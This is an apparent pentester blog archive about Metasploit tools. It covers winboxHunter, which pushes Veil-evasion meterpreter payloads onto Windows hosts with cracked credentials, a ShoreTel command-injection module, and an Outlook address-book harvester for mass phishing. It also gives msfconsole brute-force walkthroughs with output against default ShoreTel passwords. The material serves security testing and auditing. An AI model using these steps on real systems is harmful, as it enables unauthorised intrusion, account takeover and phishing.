Archive for the ‘Metasploit’ Category

metasploitHelper and nmap2nessus released at Blackhat Asia Arsenal 2015

March 30, 2015 Leave a comment

@mgianarakis and me (@keith55) presented two new tools (metasploitHelper and nmap2nessus) at Blackhat Asia Arsenal in Singapore on 26th and 27th of March, 2015.

The tools were developed to help guys like us during vulnerability assessments and penetration tests.

Blog posts about the tools will be coming soon. Meanwhile, the information on the Github pages should be sufficient to get you started.
The tools are open source.  Feel free to contribute to the projects. Thank you




August 27, 2014 Leave a comment


– Python2.7
– Impacket (svn checkout impacket-read-only)
– Ruby
– Veil Evasion (git clone


If you are working on a penetration test remotely, its sometimes hard to determine when the users start work or connect their laptops to the network.

winboxHunter is useful if you have managed to capture and cracked a bunch of NTLM credentails and want to run Metasploit against these windows boxes as and when they are connected to the network.

winboxHunter listens for NBNS broadcast packets so that when a new winBox is connected to the network, it will use the Impacket scripts ( and to push an executable onto the winBox and runs it.

In the background, winboxHunter runs Metasploit with payload handler (multi/handler) and listens for incoming connections from the winboxes.

You might want to modify autorunCmd.rc to specify the Metasploit commands you want to run on the pwned winbox upon connecting back to Metasploit.

See meterpreter.rc and autorunCmd.rc for more details.

If a host changes its IP address due to DHCP lease expiration, it will not attempt to exploit the winbox twice.

Format of password.txt

domain/username password


Meterpreter executable

You only need to use one of the below 2 options

– You can either use your own meterpreter payload executable using the -e or –exe argument (payload=windows/meterpreter/reverse_https, rport=8443) or

– You can use the -n or –enableVeil argument to generate a meterpreter payload executable using Veil Evasion
You can run winboxHunter using the below sample command

ruby winboxHunter.rb -n -f password.txt -v

When you run winboxHunter, a linux screen with the name “msfscreen” will be created and msfconsole will be executed. You can connect to the screen via the below command

screen -dr msfscreen

The source code for winboxHunter can be found at

Hacking Shoretel Converged Conferencing Bridge

April 15, 2011 Leave a comment

This metasploit module was made with the help of Josh @savant42 for #thotcon
The methodology of this hack comes entirely from Josh. This metasploit module is made by both of us..

Thumbs up to Josh for coming up with this.

This post is based on Josh’s (@savant42) talk at #thotcon

In Shoretel Converged Conferencing Bridge, Monitoring> System Commands page is vulnerable to command injection

Another problem is that the backup job runs as root

This can be found under Configuration > Manual Server Backup

Based on these 2 vulnerabilities, this metasploit module is born.

A demo video of the metasploit module can be found here

The metasploit module can be found here

Below is a screenshot of the metasploit module in action

Categories: Exploitation, Metasploit

Exploiting Shoretel Server

March 20, 2011 Leave a comment

Hacking Shoretel Voip Server

A demo has been uploaded to youtube

The meterpreter script can be used to audit the user accounts on the Shoretel server. This is written for Shoreware Director Build 14.X

There are 2 ways of accessing shoretel voice services. One via the IP phone and another via soft client (Shoretel Call Manager client)
The default password for Shoretel Call Manager is ‘changeme’ and if a person has never login into Shoretel Cal Manager client before, he/she will not be able to change the password.
What are the complications if you have never change the password for your soft client login?
That means that an intruder will be able to login into your extension using the default password ‘changeme’ and

1. Access Call Logs
2. Make Calls
3. Access Your Voice Mails
4. Eavesdrop on an Extension via Intercom ?
5. Impersonate as another user and send malicious links to another users via the IM feature.

Mitigation Methods

Up to now, I do not know of any options in Shoreware Director to change the default call manager password other than manually editing each account and changing the password.
Enabling AD authentication might be another viable option.

You can download my meterpreter script from to audit the accounts on your servers which are using the default password.

Bruteforce a user account using default paswords

msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS
msf > set USERNAME test1
msf > set TEST_OPTION 1
msf > run

[*] Shoreware Director Web Console – Testing Default Passwords for User Accounts
[*] – Trying username:’user1′ password:’changeme
‘[-] – Successful login ‘user1’ : ‘changeme’
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Bruteforce using password list (Dictionary Attack)
Since the shoretel system have no restrictions on the complexity of the passwords that the users can set for their soft client login and the absence of account lockout policies (for non AD authentication), it is possible to brute force an account.

msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS
msf > set TEST_OPTION 2
msf > set USERNAME user1
msf > run

[*] – Trying username:’user1′ password:’1234′
[-] – Failed to login as ‘user1’ using password ‘1234
‘[*] – Trying username:’user1′ password:’12345’
[-] – Successful login ‘user1’ : ‘12345’
‘[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed

Check which user accounts using default passwords

If you already have access to the target’s computer, you can use the getOAB script I wrote to extract all email addresses from the Outlook Offline Address Book to be used for this test.
Check this blog post for more information

msf > use auxiliary/gather/search_email_collector
msf > set DOMAIN
msf > set OUTFILE “c:/Program Files/Rapid7/framework/msf3/data/wordlists/shoretel_users.txt”
msf > run

Edit shoretel_users.txt and make sure that a username is in each line

msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS
msf > set BRUTEFORCE_SINGLE false
msf > set TEST_OPTION 1
msf > run

[*] – Trying username:’user1′ password:’changeme’
[-] – Invalid Username ‘user1
‘[*] – Trying username:’user2’ password:’changeme
‘[-] – Successful login ‘user2’ : ‘changeme’
‘[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Use Dictionary Attacks Against User Accounts
msf > use auxiliary/scanner/http/shoretelbrute
msf > set RHOSTS
msf > set BRUTEFORCE_SINGLE false
msf > set TEST_OPTION 2
msf > set PASS_FILE “C:/Program Files/Rapid7/framework/msf3/data/wordlists/dict.txt”
msf > run

Categories: Exploitation, Metasploit

New Program/Meterpreter Script – GetOAB (Parse Offline Address Book)

March 14, 2011 Leave a comment

I just wrote this meterpreter script and program that parse the outlook OAB file for email addresses so that the email address list can be used in SET (social engineer toolkit) for mass email attack or be used for VOIP system login bruteforce.

This program is written in C# and has been tested with Office 2010. Please let me know if you face any issues with other versions.

Categories: Metasploit

Meterpreter Script for Prefetch-Tool

October 22, 2009 Leave a comment

This is the first meterpreter script I wrote for Metasploit Framework . I have integrated the use of the prefetch-tool via a meterpreter script.

As mentioned in the previous post, the windows prefetch folder contains information about what the frequently used programs are and based on this information, you can actually find out how the computer was used by the user/roles of the computer in the network.

This meterpreter script is not integrated into Metasploit.  To use it, please follow the below steps

1. Download the below files

a. PrefetchTool Meterpreter Script
b. Prefetch Tool Executable

2. Copy the prefetchtool.rb file to [<metasploit installation folder>\msf3\scripts\meterpreter] folder

3. Copy prefetch.exe to [<metasploit installation folder>\msf3\data] folder

Check out the demo videos below.

If you face any issues or have any cool ideas for new scripts, you can contact me at keith.lee2012[at]   (:

Categories: Metasploit Tags: